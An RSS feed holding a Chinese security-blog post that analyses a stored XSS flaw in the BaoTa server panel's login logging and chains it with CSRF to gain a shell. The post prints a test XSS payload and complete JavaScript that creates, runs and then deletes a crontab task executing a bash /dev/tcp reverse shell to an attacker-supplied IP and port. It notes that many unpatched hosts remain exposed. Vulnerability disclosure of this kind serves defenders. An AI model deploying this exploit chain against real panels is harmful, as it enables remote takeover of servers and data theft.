<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>csrf &#8211; ChaBug安全</title>
	<atom:link href="/tags/csrf/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:20:01 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>宝塔面板6.x版本前台存储xss+后台csrf组合拳getshell</title>
		<link>/web/598.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 08 Nov 2018 12:29:38 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[宝塔]]></category>
		<guid isPermaLink="false">/?p=598</guid>

					<description><![CDATA[【前言】 什么是宝塔面板？ 宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SS...]]></description>
										<content:encoded><![CDATA[<h1 id="toc-0">【前言】</h1>
<p>什么是<span class="wpcom_tag_link"><a href="/tags/%e5%ae%9d%e5%a1%94" title="宝塔" target="_blank">宝塔</a></span>面板？</p>
<p>宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱，下载量过百万。</p>
<h1 id="toc-1">【漏洞代码分析】</h1>
<p>在6.x linux版本宝塔面板当中当中，相对与5.x版本，记录了验证码错误并存入数据库当中，存储xss缺陷就是在此处产生。</p>
<p>我们直接看漏洞代码。<br />
<a id="img0" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110609104222.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110609104222.png" /></a><br />
直接分析post请求部分。<br />
<a id="img1" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607363249.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607363249.png" /></a><br />
代码如下：<br />
<a id="img2" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607402651.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607402651.png" /></a></p>
<p>我们可以看到这里首先判断了是否有 用户名密码，然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下，随后将错误次数大于1的用户名的和密码都进行了记录。<br />
从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误</p>
<p>关键的代码如下：<br />
<a id="img3" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607440019.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607440019.png" /></a></p>
<p>此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面，找到如下函数<br />
<a id="img4" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607454392.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607454392.png" /></a></p>
<p>这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。<br />
可以在宝塔数据库当中，看到logs数据库里存储的信息<br />
<a id="img5" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608484977.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608484977.png" /></a></p>
<h1 id="toc-2">【漏洞复现】</h1>
<p>我们直接在面板登录处，随便输入一个账号密码，触发失败，要求输入验证码。<br />
<a id="img6" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607503033.jpg"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607503033.jpg" /></a><br />
<a id="img7" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607514553.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607514553.png" /></a></p>
<p>由于没有任何过滤处理，我们直接输入弹窗的payload：</p>
<pre class="lang:default decode:true ">&lt;script&gt;alert('www.dafsec.org')&lt;/script&gt;</pre>
<p>&nbsp;</p>
<p><a id="img8" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607541532.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607541532.png" /></a></p>
<p>登录后台后，打开安全模块，成功触发弹窗。<br />
<a id="img9" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607590410.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110607590410.png" /></a></p>
<p>由于服务器管理面板的特殊性，后台可以进行敏感操作。手写js远程调用，利用<span class="wpcom_tag_link"><a href="/tags/csrf" title="csrf" target="_blank">csrf</a></span>漏洞在计划任务处配合存储xss，可成功反弹shell，弹shell成功截图如下：<br />
<a id="img10" href="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608401472.png"><img src="http://www.dafsec.org/wp-content/uploads/2018/11/2018110608401472.png" /></a></p>
<p>远程调用的js代码如下：</p>
<pre class="lang:default decode:true ">function addTask(TaskName, execTime, ip, port) {
    var execShell = 'bash -i &gt;&amp; /dev/tcp/your_ip/your_port 0&gt;&amp;1';
    execShell = encodeURIComponent(execShell);
    var params = 'name=' + TaskName + '&amp;type=minute-n&amp;where1=' + execTime + '&amp;hour=&amp;minute=&amp;week=&amp;sType=toShell&amp;sBody=' + execShell + '&amp;sName=&amp;backupTo=localhost&amp;save=&amp;urladdress=undefined'
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=AddCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

function execTask(TaskName) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=GetCrontab', true);
    xhr.send();
    xhr.onload = function () {
        if (this.readyState == 4 &amp;&amp; this.status == 200) {
            var res = JSON.parse(this.responseText);
            if (res[0].name == TaskName) {
                var TaskID = res[0].id.toString();
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '/crontab?action=StartTask', false);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                var params = 'id=' + TaskID;
                xhr.send(params);
                delTask(res[0].id);
                console.log(res[0].id);
                return res[0].id;
            }
        }
    }
}

function delTask(TaskID) {
    var params = 'id=' + TaskID.toString();
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=DelCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);</pre>
<p>&nbsp;</p>
<h1 id="toc-3">【后序】</h1>
<p>宝塔官方已修复该漏洞，但仍有大量存在漏洞主机暴露于公网，请及时更新至最新版本。<br />
官方已修复该漏洞，漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
